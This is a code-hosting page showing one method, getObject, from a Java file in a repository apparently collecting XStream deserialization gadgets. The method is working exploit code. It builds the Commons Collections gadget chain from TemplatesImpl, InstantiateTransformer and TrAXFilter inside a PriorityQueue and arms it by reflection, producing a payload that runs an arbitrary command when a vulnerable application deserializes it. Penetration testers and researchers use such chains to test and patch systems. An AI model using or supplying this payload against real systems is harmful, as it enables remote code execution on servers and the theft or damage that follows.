MCPcopy Create free account
hub / github.com/chudyPB/XStream-Gadgets / getObject

Method getObject

gadgets/CommonsCollections4.java:33–61  ·  view source on GitHub ↗
(final String command)

Source from the content-addressed store, hash-verified

31public class CommonsCollections4{
32
33 public Queue<Object> getObject(final String command) throws Exception {
34 Object templates = Gadgets.createTemplatesImpl(command);
35
36 ConstantTransformer constant = new ConstantTransformer(String.class);
37
38 // mock method name until armed
39 Class[] paramTypes = new Class[] { String.class };
40 Object[] args = new Object[] { "foo" };
41 InstantiateTransformer instantiate = new InstantiateTransformer(
42 paramTypes, args);
43
44 // grab defensively copied arrays
45 paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
46 args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
47
48 ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
49
50 // create queue with numbers
51 PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
52 queue.add(1);
53 queue.add(1);
54
55 // swap in values to arm
56 Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
57 paramTypes[0] = Templates.class;
58 args[0] = templates;
59
60 return queue;
61 }
62
63 public static void main(final String[] args) throws Exception {
64 CommonsCollections4 c = new CommonsCollections4();

Callers 1

mainMethod · 0.95

Calls

no outgoing calls

Tested by

no test coverage detected